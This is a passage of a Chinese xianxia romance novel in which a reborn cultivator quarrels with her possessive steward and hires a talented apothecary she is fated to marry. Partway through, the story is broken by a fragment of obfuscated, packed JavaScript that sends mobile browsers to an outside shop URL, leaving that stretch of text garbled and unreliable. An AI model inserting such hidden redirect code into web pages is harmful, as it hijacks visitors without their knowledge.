“嘶。”沈盈息忽然痛嘶一声,她扯出手,白色的药面子随她的抽动洒上阿廪暗色的近卫服。 “你上药怎么也不提前说一声啊!” 沈盈息皱眉,不满地看向阿廪,“你是怎么了,听到我哥会成家你不高兴,诚心报复我是不是?” 青年微顿,桃花眼一弯,无奈又自责地看着少女:“抱歉家主,属下该死,弄疼您了。” 怎么就该死了? 弄疼她是有些可恶,但也没严重到去死的地步。 沈盈息烦躁地皱了皱秀挺的鼻梁,“阿廪,你好怪,怎么我一说到我哥和我的婚事,你就这样反常。” “……家主。”阿廪没甚辩解,他利落地单膝跪下,漆黑的眼睛在平视线下的一点低度里仰看着少女。 这是一种微妙的角度,不是完全的仰视,而是着一点接近平视的高度。 像是蹲坐的高大猎食类动物,有种仰望只是他主动选择的角度,他随时可以站直身子反噬的危险感。 “家主,属下错了,您打我几下消气吧。” 说着,男人垂头,那种隐隐的危险气息霎时间消弭于无形。 剩下的是他平静的请求声和那一副任君责罚的模样。 “阿廪!”沈盈息见状,怒气不减反增,虽然阿廪表现得弱势,但她就有种被拿捏的感觉,她不舒服! 家主发脾气向来是不在意会不会伤人的,平日里再亲近喜欢的近卫,此时冒犯了她,她也照打不误。 “你是故意的!”沈盈息一脚踹在男人肩上,她想把人踢翻,再踩上他的胸口踩几脚泄气,但她力量弱,踹翻阿廪这种底盘稳如磐石的练武之人,简直是天方夜谭。 一脚没踹倒人,又试了好几次,最后腿根失力,兀地软了腿弯,险些往后仰倒。 “……” 沈盈息没有跌倒,她被阿廪拽住了手腕。 “不准碰我!”沈盈息还很生气,教训仆人不成还在他面前跌倒,她面子有失,三分怒火变成七分,顺手抄起茶杯便砸向阿廪。 按理说阿廪武功高强,不会躲不过一个杯子,而且那杯子准头不准,根本也砸不到他的脸,充其量只能砸湿他半片胸口。 不过阿廪不动声色地移了移,顺而垂头,杯子便不偏不倚地砸上他光洁额头,瞬时间在白皙的额角处磕出一片淤青。 他平静地说了句:“谢家主。” 沈盈息望着阿廪白皮肤上特别明显的青肿,听到他领了罚乖顺的嗓音,自觉已教训完不听话的奴仆,心中怒火不由散去许多。 可余怒未消,她又用脚踹了几下阿廪被茶水泼湿的胸口,居高临下地看着额发半垂的近卫,“阿廪,你别以为我什么都不知道,你自己说,你为什么总是打探哥哥何时成家?” 被打被骂被用脚踹心都安静恭顺的管家闻言,忽而启唇,呼吸急促了一瞬。 沈盈息捕捉到了,哼笑着说出她发现的真相:“我知道,你怕哥哥成家后和嫂子搬出去住,我被哥哥分家嘛。到时候你这个管家没那么多人管,也就没那么多月银支了,对吧。” 少女对自己的揣测很笃定,昂起细白的下巴:“你放心好了,哥哥虽然是个守财奴,但对我言听计从,别说就是成家,就是去做了乞丐,他也会把最后一枚铜钱给我用的。” 沈盈息抬着下巴,理所当然受着她生来就有的偏爱,也就没看见原先沉稳跪着的管家隐忍地动攥紧了手,肩头微抖,似乎在憋着某种情绪。 很快发完脾气,间接猜到了真相,沈盈息便不再在乎之前发生的那点龃龉,她自己扯了药面解决完伤口,而后站起来往榻间走去。 喝完醒酒汤又洗完澡,一心松懈,她这个凡人身子现在只想睡觉。 挨到床榻之前,沈盈息不忘说了句:“别跪了,我要睡觉,你刚才表现不好,今天不想听你讲话本,赶快滚吧。哦,对,明天给我备些碎银铜钱,我要出去玩。” 交待一番,已是睡意朦胧,沈盈息突然想到自己本次谈话的初目的,又咕哝了一句:“阿廪,你每天都没事干吗?不忙也别只盯着我啊,我哥哥不急着成家,我看要成家的是你才对,该给你找个妻子管管你了……” 困得太厉害,少女最后几个字被含得含含糊糊,像是某种澄亮的糖蜜淌进耳中,但最终也都随着少女的沉睡而消失了。 …… 离床榻还有段距离的地面,阿廪保持着单膝跪的姿势,他反常地没有即刻回答,直到听见床中渐平稳的呼吸声,他方缓缓起身。 高大俊挺的近卫原地站了会儿,目光始终定在不远处隆起的锦被上,桃花眼里映着几点烛光,光色很冷,衬得眸色极黑。 门扉轻动,阿廪用内力熄灭了满室烛火,而后慢慢地走了出去。 待出了房间,背靠门侧的柱子上,他方轻轻地道:“家主错了,” “我不需要别人管。” 阴云遮月,月光昏暗,遮住了阿廪逐渐晦沉的眉眼。 管家的权利和钱不是什么重要的东西,少女眼中的真相和他的大相径庭。 ——从始至终,他只是纯粹地想大少爷成家而已。 成了家,大少爷便会离府,而没了这个碍眼碍事的嫡亲哥哥,很快就轮到她庶房的弟弟滚,再然后把阿仓也送出府…… ——出府,都滚出去才好。 夜风寒冷,湿透的衣衫紧贴着胸膛,勾勒出饱满的弧度。 男人骨节分明的手掌慢慢顺着湿衣往上,最后停在肩头,指骨下压,拢了拢被踢过的皮肉。 本是计划好的事,可是家主,似乎不再最喜欢他了。 连他都不能抱着她回府,阿仓居然被允准了。 管家一想到旁的与她亲近的人,眼神陡然阴毒,可倏然间,没来由地,狠辣的目光放缓,一丝茫然悄然浮现。 他最近做错了什么吗? …… 沈盈息许久不曾睡过这样舒服的觉了。 她第一次体会到普通凡人的好处,吃饱喝足还能睡饱。 当了修士就不行,一旦筑基便不能再用俗食,会堵灵脉,睡觉也被淘汰了,只能用打坐代替。 沈盈息在被褥间温存了会儿,肚子有些饿,她也珍惜地体验了许久‘饿’的感觉。 待她掀开被褥,意料之中地听到了敲门的声音:“家主,属下侍候您洗漱。” 沈盈息顿了下,还是允了,“进吧。” 她不会穿凡人衣裳,以往这些俗事都是捏个诀就能解决的。 “吱呀”一声响,阿廪端着一盒热食进了屋。 昨夜的事对他好像没有造成丝毫影响,他还是一副沉静微笑的好管家模样。 沈盈息自然也不在意他变没变。 她没有不可代替的观念,阿廪和阿仓,还是和别的谁,其实都只是个几十年后注定会死的凡人而已。 阿廪伺候沈盈息伺候惯了,也懂如何讨主人的开心。 这点从他挽出的漂亮发髻、给她挑选的艳丽衣裳、为她亲自下厨做的美味早食——可以窥见一二。 沈盈息心情很好,“吃饱”是一种稀缺的体验,于是望向给她布食的阿廪,随口便夸了:“阿廪真厉害,做的饭很好吃。” 阿廪抿唇,抿出一抹温和的笑:“让家主欢喜是属下职责。” 望着少女满足的面庞,管家忍不住弯眸,有些触摸的念头,但最终还是忍了忍,转而道:“家主,钱袋已备好了,您现在就出门吗?” 沈盈息点点头,接过阿廪递来的钱袋子。 寻常都是他跟着,昨日是府中出了必须掌权管家去解决的事情,所以才叫阿仓钻了空。 阿廪想着昨日的差错,一边仔细收拾着桌上的空碗,一边似不经意问道:“家主去哪儿玩?轿攆已备好了。” “不告诉你。”沈盈息没有半点停顿地道,拒绝速度太快简直透出了一股不耐烦。 不耐烦,烦的当然是那提问的人。 阿廪笑容微顿,“那属下让阿仓在门口候着。” 不要他,厌烦他,便是要阿仓,开始喜欢阿仓了吗? 沈盈息把钱袋系紧,有些出门心切,语速很快:“哎呀你问东问西的做什么,管家还管到我身上来了!不要你安排,也别让人跟着我!” 说完,不待阿廪说话,便似只轻盈的猫儿般奔出了屋门。 少女心思多变,昨日还夸赞的最喜欢最贴心,食物都能一起分享的近卫,今天就成了问东问西的烦人管家。 沈盈息走后,阿廪端着木盘的手不动,笑也冻在唇角,阴晦的暮气逐渐爬满了他的心腔。 早春般晴朗的少女,明媚鲜活的主人——沈盈息一走,阿廪的生气也就跟着走了。 …… “仙君,你不觉得这个叫阿廪的凡人太黏你了吗?” 沈盈息跑出府门,从门口往药铺走时,识海里的系统出了声。 这么一提醒,沈盈息奥了声,恍然大悟的样子:“我还以为这叫看管呢,原来是粘人啊。” 闻言,系统思索一番,跟着肯定:“看管是狱头对犯人吧,这凡人把仙君这么伺候着,怎么着也不像看管啊。” “不过,”系统有些犹豫,“这也太黏了,洗澡睡觉都得伺候着,丫鬟做的事全让他一人包了,好奇怪奥。” 沈盈息对此不太在意,她进入凡人角色的速度奇快:“昨晚上是觉得不对劲,不过后来被阿廪一打岔,发完脾气就不想了。” “而且阿廪十二岁就被我带进府了,这么多年死都为我死过一次了,真要反早反了。我都习惯了。他伺候我我也很舒服,这些小事赏就赏了,不妨碍我们。” 的确不妨碍。 系统点点头,在沈盈息不在乎的口吻里放松下来:“仙君准备用什么样的假身份去见药铺呀?” 沈盈息脚步一停,身份…… 她望着自己身上过分华丽的衣衫,很漂亮呢,不想换下。 “就随意扮个官家小姐吧,”沈盈息说,“京城这么多官,这么多官家小姐,我到时不告诉他我真名,想来也不会有纰漏。” 系统频频点头:“对,咱们本来就是有钱人,扮穷太难,假身份和真身份出入不大,不会露馅嘿嘿,太好了仙君宝宝,我们可以大方可怜这群疯子了!” 沈盈息也是这般思量着。 她能做好由自己魂息所化的凡人少女,但不一定能演好其他种类的凡人。 这又是她第一次要去当人老婆,还是先看看情况 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放在一般日子里,沈盈息见到季九都是要和他呛了十来回合,让对方不爽极了才走。 但今天不一样。 她得去找她第一个老公。 于是也没多看季九一眼,沈盈息转身就走,毫不犹豫,利落至极。 马上的季九本已启唇,要借沈盈息方才盯摊子的事情嘲讽她一番,他照例等着对方先开口,然后揪着对方言语错处顺势嘲讽。 结果人走了。 …… 还真、走、了。 季九兀然拽紧了马辔,盯着沈盈息毫不留恋的背影,心底猛地冲出一股子厌烦。 …… “永安、药铺……原来在这儿,”沈盈息已经到了目的地。 她抬头望着药铺的匾额,永安二字写得龙飞凤舞很有气势。 系统这时忽然冒出来:“这是里面那个疯子写的,看看这字就知道以后有多疯了,哼。” 哦,真是她第一任老公的字啊。 沈盈息研究一会儿匾额,终于踏入药铺的门槛。 “请问……?” 药铺不大,一个柜台,一墙药柜,再来就是柜前捣药的青年。 沈盈息刚进门,青年也刚好抬起头。 二人对视,彼此怔了下。 ——都怔愣于对方的好皮囊。 永安药铺门面小,生意少,卖的最多是便宜药丸,药效不大好,故而来这儿抓药的都是缺钱少粮的贫户。 今日冷不丁走进个锦衣小姐,逼仄药铺在她的光彩下更显昏暗寒酸。 不过幸而柜前站着的青年为小铺子挽了几分尊严,青年普普通通地站着,一身出色皮囊凭白叫整个铺子质感飙升。 他虽着青色的粗布长衫,但身量高,形态佳,木簪束发,露出一整张温润如玉的俊俏面庞。 “这疯子身高一米九二。”系统默默补充道,为保它和宿主交流顺畅,它下凡前给沈盈息灌输了一通所谓的现代知识,所以沈盈息立刻能想象出不远处男子的高度。 当医修治病救人的,在各种血腥战场穿梭来回,这样高的身高太招人,居然还能活到转修无情道大成,这样的——实是罕见。 系统也说:“对啊,所以他是个彻头彻尾巴的另类嘛,不仅修医修到一半去修无情道,而且还能在无情道上活下来。仙君你比我熟悉,无情道杀气重,要杀那么多妖魔鬼怪,亏得这大个子有力气,不然有的他死的。” 说完,系统嘀嘀咕咕:“疯子啊,宿主,这纯疯子,你没看见过他用那双搓药丸的手杀人的样子,咦!——可恐怖了!” 但无论系统如何强调,没有亲眼见过对方杀人的场面,沈盈息很难把对面青衣有礼的青年,和所谓的疯子魔头对上号。 “请问——”许是见沈盈息只站着未动,青年开口,他声音和皮相匹配得很,很是温和好听,“姑娘想抓些什么药?” 沈盈息眼神落到他唇角,他这样笑,看上去好内敛。 仿佛是注意到她投在自己唇上的过分专注的目光,青年如玉面颊微红,但还是温声道:“姑娘可以先描述下病症,我照着您的病况配药。” “你,”沈盈息没生病,但她不能一见面就问人名姓要求结亲吧,这太古怪了,况且他好像是容易害羞的性子。 她顿了顿,视线从青年微红的脸颊飘过,最后还是回落,落到他手中的药杵上。 “你在磨的,是什么药?” 青年一怔,不过很快继续露出笑容。 说到他擅长的事物,他有一种奇异的认真的细致:“是决明子,可以明目,磨成粉后制成药丸,比直接煎服有效。” 沈盈息奥了声,听说可以明目,她便去看他的眼睛,很好看的眼睛,睫毛纤长,眼珠又黑又亮,很清正的样子。 对药材都这样认真,对病人应该更认真罢? 沈盈息想起系统的疑问,医者仁心,怎么半道突然去修杀伐冰冷的无情道了呢? 沈盈息启唇,顿了顿,想不出有什么病症,便指了指青年手中的药杵:“我想要你手上的这些。” “……这,”青年哑然,而后失笑:“可我手上的都是些药粉,半成之物不好售卖的,姑娘需要药丸,稍等片刻,我为您取来。” 沈盈息盯着青年看了几秒,他似乎只有在谈及配药时才游刃有余,旁的时候都很内敛温吞。 为了验证猜想,她忽而走近他,望着他那双清亮端正的眼睛道:“我可以知道你的名字吗?” “……” 仿佛不知为何话题能转换得如此之快,从问药到问人,青年的游刃有余倏然间被少女的问戳破。 “我,姑娘你……” 他显然没有遇到过目前这样的状况。 和药材相伴得久,沈盈息离得近久能闻到青年身上微苦清冽的药味。 她扒着药柜看他,柜台太高,他更高,她只好仰头,脖子仰得有些酸,她再次张启红唇时不由带了一丝埋怨:“你还要思量到几时啊,我不想这样等着,你好高。” 少女嗓音柔嫩,即便带着埋怨,也叫人听出十二分的娇意动听。 青年低头,正好将少女的动人明丽完完整整地纳入眼底。 他倏地红透了耳尖,强自垂眼,目光不定地从药杵移到自己沾了药粉的手指上。 蜷了蜷手指,指腹莫名升起的痒意就这样被按下,“在下……纪和致。” 沈盈息低声,重复念了一遍:“纪、和、致。” 青年低声咳了下。 “我是沈……”沈盈息卡了卡,“哦,我是沈息,生生不息的息。” 4. 第 4 章 第4章 沈盈息与纪和致交换了姓名,拿过他打包好的药时,视线瞥见对方拎着细绳的手指。 ——修长有力,骨节分明,很漂亮的一双手。 拿起那根粗陋的药杵磨碎药材时,手背会绷起青玉似的筋脉,宽袖下隐约漏出的小臂也是线条流畅、肌肉结实。 光从小臂肌肉就能看得出他整个人的俊健。 沈盈息一顿,而后顺着纪和致的小臂看向纪和致整个人,青衣典雅,这男人生得又清俊,着实让人想不到衣衫之下会是这样一副健美的身体。 无情道属于修真界最高要求大道,修道者不仅要灵力高,还要体力好。 也是,不然就无情道这种两眼一睁就是干,还从早干到晚的道途,体力弱一点的普通修士根本承受不住。 纪和致是日后无情道大成的修士,他一定完美符合无情道的要求。 这种人,若是能出生在修真界,有个修士父母扶持着,或许早是当今修真界的一代天骄了。 也根本不会有半途改道的事情发生了。 可知易道修行,与抽骨无异。 能忍此苦者绝非常人。 而这种人还不止纪和致一个。 沈盈息点头,稍微理解了天道的崩溃。 “沈姑娘,你的药。” 包装齐整的药包被送到眼下,余光瞥见的修长手指近距离探进视线里,手的主人温声提醒:“此药每日含服一粒即可,多服无效,不当服用反受其害,沈姑娘切记。” 纪和致含字清晰,应是怕她走神未听清,而后更是将药递到她手中后,右手拿起笔架上的笔蘸墨迅速写了张短方,待墨干,认真地将短方折好塞进了药包绳结下。 “多谢你,”沈盈息垂眼,目光从绳结下洇出墨痕的纸块扫过。 啊,这位纪和致道友真体贴。 完全不像她熟悉的无情道道友们那样,冰冷、威严、不近人情。 不过道友们在修无情道之前也可能还有点人情? 正如现在的纪和致一样。 沈盈息思及此,不无感慨地挽起笑容,对纪和致点点头,“纪大夫,你真用心。” 不知是沈盈息话里的哪句话触动了纪和致的柔软点,只见谦和有礼的青年倏然间眸光微亮,克制端庄的面容忍不住地绽出一抹笑:“哪里,在下还只是永安的一个伙计,暂且称不上大夫的。” 居然还只是个伙计吗? 连作为陌生人的沈盈息都能从和纪和致的几句交谈里,察觉到对方关于医药的博识,永安药铺的当家人察觉不到吗? 是被特意针对了吧。 沈盈息拿过药,视线最后从纪和致得体但清贫的衣裳上划过。 果然和系统说的一样,任务对象们现在都惨惨的呢。 “以纪公子大才,不会久居于人下的。” 最后,沈盈息笑着客套了一句。 系统吐槽:“当然不会久居人下了,他几百年后都快骑到老天头上了。” 沈盈息微笑。 纪和致听不见系统对他的吐槽,但能看到沈盈息‘鼓励’的微笑,一时之间不由抿唇一笑,笑容中带上了几分腼腆:“借沈姑娘吉言,某日后若能成就事业,必不忘今日之遇。” 今日之遇有何好记的? 沈盈息从修道以来已忘了太多人和事情,所以并不能理解纪和致的话。 凭借贫乏的同理心理了理,沈盈息慢慢明白过来。 或许是因为她说的那句纪公子大才? 而正是这么一句普普通通的客套话,到了纪和致那儿,便被他解读成了鼓励和夸赞? 这样想想,未来的无情道大能现在也太缺乏正面反馈了啊。 客套话也当真。 惨惨的。 沈盈息纤细手指敲了敲药包,思绪一转,索性解下腰带系着的钱袋,“喏,这个给你。” “……沈姑娘,这是?”做什么?纪和致腼腆的笑意敛起,虽还是在笑着,但笑容不再真诚,倒多了些疏离。 他看得出来‘啷当’一声摔在柜台上的是何物。 鼓鼓囊囊的一只钱袋,看样子足以买下药铺半面墙的药了。 可买药不同买衣裳首饰,没有看好了就全包的道理。 那么少女扔下这些钱,是想包什么,包他吗? 纪和致垂眉,白长食指伸出,礼貌但有力地把钱袋推回到沈盈息面前:“决明丸承惠十五文。” 沈盈息摇摇头,伸出食指抵住钱袋,“都是你的,这些钱是我的管家给我备的,我还没数过,但大概能有二十两银了。是这样的,我看你……” “沈姑娘。” 沈盈息的话被青年一声唤给打断了。 声音真冷。 她望向纪和致,手指还在抵着钱袋。 而在钱袋对面抵着的手早退了回去,退回去的手正垂在主人腿侧,被宽大衣袖遮盖着,“某行端坐正,药铺伙计虽月例不高,但用来皆是干净清白的。您这些钱……恕某无福消受。” 沈盈息见纪和致一脸疏离的温和,清俊的面庞褪去暖意,面无表情竟显出一股凌人气势。 ——不似个凡人俗子,而与远天之上的天骄修士有的一比了。 她困惑了,不过是想着口头称赞总不过是虚言,用银钱夸实了才好。 谁知这人真是奇怪。 领着虚言倒开心,见着银钱却不开心了。 沈盈息不明就里:“我的钱也是干干净净挣来的啊,你的钱清白归你的,既然不够,我的钱拿给你用,你干什么不用?难道因为太多?可钱少就代表清白吗?” 她太诚实,诚实得连纪和致都愣了一下。 青年起眼,重新审视了一番沈盈息,发现少女眼眸一如方才的黑润,眼中一丝淫.邪之色都无,他跟着也有些疑惑。 沉默片刻,纪和致还是抬手,将钱袋结结实实地放进少女掌心,盯着对方的双眼缓缓道:“这些钱再干净,也是姑娘的钱,我有手有脚,挣得温饱,若是无故受用,那才是污了姑娘的善心。” 沈盈息的掌心和男人指腹短暂接触了下,他很快收回了手,面上带着被冒犯后的疏远。 ……他方才的神色不止是被冒犯了那么简单。 “仙君,纪和致老板想包.养他,被他拒绝了,纪和致因此被陷害得很惨。” 系统这么背景一补充,沈盈息就了解了。 这个惨肯定不是系统简简单单一个字能描述得尽的,能叫纪和致这个日后的无情道大能都敏感成这样的,那必是惨无人道的惨了。 可她不是来包人的,她是来和他成亲的。 沈盈息想着想着,思绪忽然有些放空。 ——但任务要真是包.养就简单了,强取豪夺把钱砸下去就行,而且还能把几个任务对象同时包进府里,这样的话,相信她很快便能重回修真界了。 沈盈息没有屏蔽神识,待在识海里正好听完沈盈息心声的系统:“……” 系统把怀疑的目光投向沈盈息,无情道修士个个冷酷得要命,怎么这位前魁首这般……异类? 死了四百多年,初见还有些单纯。 现在看,是它想得太单纯了。 可惜查看不了沈盈息的过往。 系统顿了顿,本分地开口提醒:“仙君,您,您这些心里话咱私底下聊聊得了啊,可不能让这些疯子知道。” 沈盈息在识海里比了个OK的手势:“包保密的。” 系统:…… 系统开始思考它当初为什么要带沈盈息去探索新世纪知识。 沈盈息思来想去,毕竟眼前站着的是自己的任务对象,关系自己是否能重回无情道的重要人物。 以及,他是自己的第一任老公,她觉得还是得用点心思的。 本来准备奥一声就把钱收回来的她,抬起小臂便紧紧抓住青年的袖口,开口真挚:“纪公子误会了,我这钱不是平白无故赠与你的。” 被抓住袖口进退不得的纪和致垂眼,冷静的视线从袖角上青葱白嫩的手指上移到少女含笑的面庞,“条件是?” 沈盈息笑靥明媚:“和我一起开个药铺。” “……什么?”纪和致微微睁大眼,他毕生所愿便是脱离永安这个魔窟,而后另立门户,做个堂堂正正的大夫救世济人。 这个沈姑娘……素昧平生,如何会寻上他?还这般巧合地猜中他的心思? 沈盈息不知道纪和致的毕生所愿,她只是觉得既然纪和致受现在的老板骚扰,那不如给他换个老板。 给他换个干净敞亮的工作场所,他这人的心理肯定也能跟着敞亮健康起来。 至于什么素昧平生? ——不素昧平生,又怎么才体现得出人间至美是真情呢? 况且她不是不求回报。 纪和致作为她的第一任老公,他如果能早点懂真情,沈盈息也就能早点踹了他。 所以帮老公脱离苦海,这不就跟帮自己一样,根本没区别。 沈盈息下定决心,帮! “我观察你好多天了,”沈盈息盯着纪和致,他的眼神中有戒备,但脸似乎红了点,为着她的一句观察好久。 沈盈息没注意,只是继续说:“我觉着你很厉害,望病抓药一应俱全,我聘你就跟聘了两个人一样,很划算!” 果然是商人会说的话。 因为划算,所以看中了。 旁人可能因为自己一个人被当两个人用有些不平,纪和致却因此卸下了两分心防。 他明白自己的本事不小,但在永安药铺,他永远只能展露两分实力,否则树大招风,他本就举步维艰的处境只会更加难堪。 但若真能换到另外一个药铺里,甚至还能多做些事…… 纪和致眼神微凝,“那么月例也是两份?” 沈盈息甩开他的手,嗓音高傲:“想什么呢,月例也是两份你不就不划算了,你不划算了,我还要你干什么?” 便宜,是最好的核心竞争力。 纪和致听得沈盈息一番“奸商”发言,并无不虞,更多了一份踏实:“沈姑娘看起来年岁不大,可知开间铺子并非易事,不仅银钱花费不在少数,记账进货更需经验。” “我知道,”沈盈息没什么在乎地点头,“所以我看中了你啊,你看起来就对这些事情很擅长的,你来当二老板!” “二、老板?”纪和致费了些力去理解少女口中陌生的词汇,他微微侧首,“那是有一老板所在了。” 不用多问,这个第一老板必是面前的少女了。 沈盈息点头,像是赞赏纪和致的聪慧似地,把钱袋扔进对方怀中:“我是大老板,我不爱管事,但每个月的钱多数得给我。你这个二老板嘛,嗯,分个两成……算了三成吧。反正药铺赚得钱越多,你就能分越多的钱,规矩就是这样,懂了吗?” 纪和致若有所思,“若是赔的血本无归……?” 沈盈息立马瞪了男人一眼,“说什么呢,做生意的不准说这些不吉利的话,真是的,别倒我财运啊。” 纪和致望着少女含怒而愈发明丽的脸庞,心中想的旁人都不知晓。 他那双温和但并不缺乏锐气的双眼深深地看了会儿少女,半晌之后,直到嗅到一丝微不可查的血腥气,青年才微启薄唇: ——“是,沈老板。” 不会血本无归的。 要有个足够公正干净的地方,他只会用尽全力去守护经营,绝无叫其流失之险。 纪和致是个聪明人。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13251991|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他应下了沈盈息的邀请,并毫不拖沓,当即扯过一张写药方的纸,蘸墨挥毫写下:来日方长。 和未报完仇的仇人之间,纪和致自然时时刻刻计算着来日。 待将那纸送入药铺后堂,他再次出来,已提了轻巧的一只包袱,里面装着他的衣裳和些许银钱。 沈盈息见他出来,便懒洋洋地道:“铺子还没选好地址呢,你先跟我去吃饭,吃完饭我们再去看地方,好吧?” 纪和致颔首,走出柜台时,又顿了顿:“沈老板,容我再耽搁片刻。” “做什么?”沈盈息实是饿了,她想吃淮香楼的鸭子,永安药铺可离淮香楼很远呢。 “即刻好了。” 纪和致原是又提笔写了什么,而后拿着写了字的纸走到沈盈息面前,解释:“有始有终。” 沈盈息望见纸上写的是:[永安暂无人,抓药请去西街]。 她多看了几眼纪和致,青衣男人垂眸,清清正正的好模样,很讨人喜欢。 “你很讨厌这个药铺吧?”沈盈息转而问起那张写来日方长的纸。 纪和致闻言,垂眸对视她,他没有诉诸他的苦难,而是轻淡地道:“是厌恶,但个中缘由,待某将此‘来日’处理完毕,再讲与沈老板。” 沈盈息其实也不太想听,她只是感觉纪和致这个人很复杂。 既然厌恶此地,为何又要做个有始有终,把药铺无人的条子挂在门口。 难道是? 身为医生的责任感? 那这也太负责了。 公私分明得可怕。 这样也好。 沈盈息往淮香楼走,这样公是公私是私的理智人,想来就算死了老婆,也不会耽误治病救人的。 纪和致随在沈盈息身侧,垂眉行走,视线从熟悉的街道一寸寸掠过。 这是他生活了近十九年的地方,灰暗,拥挤,吵闹。 在此之前,纪和致没想过有人会跟着才见一面的人走。 但现在,纪和致已成了这个不顾一切的人。 当走出这处落魄街道时,属于宽阔官道的阳光涌进视野,占据了纪和致的全部心神。 这时他才理解分明何为天光大亮。 这样普通的一日,他像是一个被关押十九年的犯人从牢狱里放出来春游一样难得。 青年温润平静的目光从湛蓝的天,下移至前方少女的背影。 她说她观察了他好多天,但其实他知道,她今天是初来乍到。 所以她当然不可能知道,他能在拘押监禁的环境下仍能学得一手医术本领,靠得是什么。 ——他天赋异禀到能闻出生与死的嗅觉,是他自持逃出永安魔窟的最大筹码。 在少女没来之前,纪和致被酸臭、腐烂、污浊的气息包围着,药铺里的药太少,单薄的药味掩盖不了浓郁的浊臭。 那些浊臭有的来自药柜后药铺老板如影随形的窥视,有的来自药铺后堂对他虎视眈眈的亡命之徒,也有的来自药铺外想将他纳入后院狎玩的男男女女。 纪和致每日靠将药材磨成粉时的短时间浓郁药味,来短暂忘却自己背后药柜上和身边围绕着的无数双眼睛。 日日如此,他快麻木的嗅觉,却在今天于密不透风的臭味中闻到了一丝突兀的馨香。 不是脂粉香,浅薄的脂粉抵抗不了他身周如渊在裹的浊臭。 那是一种特殊的、世无仅有的、令人心神清明的香气。 纪和致确信此生再难寻此香。 所以也许沈盈息没察觉到,当她出现在门口看匾额上的字时,她的存在于纪和致眼中,已如灰白梦境里的一朵红艳牡丹般突兀了。 当然,当少女出现后,并且在提出要带他离开时,身后那些肮脏视线的消失更是他答应离开的缘由。 他的沈老板似乎不是普通的富家小姐,她身后跟着一道生人气息,纪和致大概清楚,那应是权贵子女的护身筹码之一:暗卫。 沈盈息的暗卫在他思考之间,短短几息就解决了药柜后蠢蠢欲动的药铺老板,跟着也解决了后堂里持刀的亡命之徒们。 她的暗卫给他们的离开辟出了一条安静安全的路。 如果没有她的暗卫,纪和致不会答应沈盈息离开。 他虽苦痛,但也不愿牵扯无辜之人受难。 很快药铺到处便都充斥着死亡的气息,纪和致嗅得分明,知是她暗卫的手笔。 纪和致在心中感谢沈老板,因着她为他解决了这十几年来都未能解决的监视。 但同时,他也防着她。 能轻而易举打开他囚笼的人,未尝不是能轻易给他安装另一个囚笼的人。 只看她意欲何为,只看他配合与否了。 来日方长。 “喂,纪和致。” 青年神思沉沉,不妨听见一道轻灵女音,他怔了下抬眸,少女回眸,青丝随风缠上她白嫩颈面。 “……怎么了,沈老板?”纪和致发觉自己的嗓音有些钝涩,好像还没反应过来。 他的好老板伸出白玉一样的手指,指了指路边热气腾腾的面食摊子,朝他强硬命令道:“我们就在这儿吃,太累了走不动了,等选好店铺再带你去吃顿好的开工第一餐。” 以前从来没有所谓的开工第一餐要吃好念头的纪和致,只是诧异了一瞬如沈老板这般看起来是,实际上也是富贵娇小姐的人,居然会不顾旁人眼光吃路边的面食摊。 不过毕竟是老板命令,青年也就顺从地点头:“您吃什么?” 沈盈息对人间的食物还处于陌生探索的阶段,于是坐到摊位上后,思量一番,决定:“你吃什么我就吃什么。” 纪和致脸上闪过一丝讶然的神色,老板性格似乎太好了。 “好。” 5. 第 5 章 第5章 沈盈息接过纪和致擦拭好的筷子,恰时面摊老板把他们的两碗面端上桌来,她将热腾腾的汤面往面前推了下,而后垂头,专注地吃起面来。 她吃饭的动作很有修养,便是饿得很,也从不狼吞虎咽发出异响。 坐在沈盈息对面的纪和致并不饿,他执著未动,望了会儿他的老板。 沈盈息吃饭时极其专注,或者说她做任何事时都很专注,与人说话见面便只盯着人,走路便只盯着路,吃饭便只盯着饭。 纪和致从未见过沈盈息这样,能专注到能把任何一件乏味之事都做得津津有味的人。 光是望着她吃饭,似乎都是一种享受。 ——叫人忘却自己身处的所有境遇,跟着一心专注地过起这人生。 对于烈火亨油中生活的人而言,她的出现好似一管清心剂。 纪和致清润的眸光里闪过一丝深思。 他的老板,真是个神奇的人物。 “唔?你怎么不吃?”沈盈息偶然抬首,发现纪和致只是拿着筷子不动,不由催了句,“面不烫了,你快些吃,我们还得去选铺子呢。” 纪和致眼神微动,温声回应:“这便用了。” 说罢,他用筷子挑起细密的一束面,慢条斯理地送入口中。 沈盈息在修真界从未见过哪一个修士用过饭,是以也想好好瞧瞧纪和致怎么吃的饭。 她停了筷子,像个监工似地望着纪和致。 纪和致显然察觉到对面的投来的目光,那眼神是不用抬头看都能发觉的专注认真,少女从不遮掩她的兴趣。 青年保持着不动声色,修长有力的手指稳稳地捏住竹筷,仪范甚佳。 沈盈息望着纪和致,没有旁的心思,她单觉着纪和致吃饭的动作很标准,很好看。 面汤氤氲的热气扑上他的眉眼,润泽着他的如玉面庞,衬得其眉浓眼清,说不尽的端丽动人。 她同时也很新奇,珍玩般看着纪和致吃饭的场景。 与人对坐食面,不仅对纪和致而言第一次,于她亦然。 对旁的凡人而言再平凡不过的体验,对这二人而言却是再陌生不过。 因着这平凡与陌生,他们彼此弥补了对方的一角人生空白似的,也似与彼此有了第一个共同点。 这个共同点可供品味,也可供他们默契地对视。 “……” “……” 两两对望。 沈盈息坐着也和纪和致平视不起来,他真的是高,她得抬眼去看他。 他呢,垂着眸,被沈盈息心中赞誉的端丽眉眼就这么垂着,任她肆无忌惮地打量也毫不皱起,他同时用这双能攥住她视线的眉眼,内敛而放心地回望着少女的眉眼。 两人没说话,似乎找不到话说,又像是明悟彼此此时的安静。 最后,街边一个孩子摇着拨浪鼓过去的嬉闹声打断了静谧。 他们对望着,忽而间对着对方笑了。 沈盈息笑,明丽的眼睛里透着少女的狡黠,“纪和致,我觉得你肯定能把药铺管起来,有你在,我每月定不缺额外的月例用。” 纪和致便是微微弯唇,“定不负老板所托,今日恩情,某今生不会忘记。” 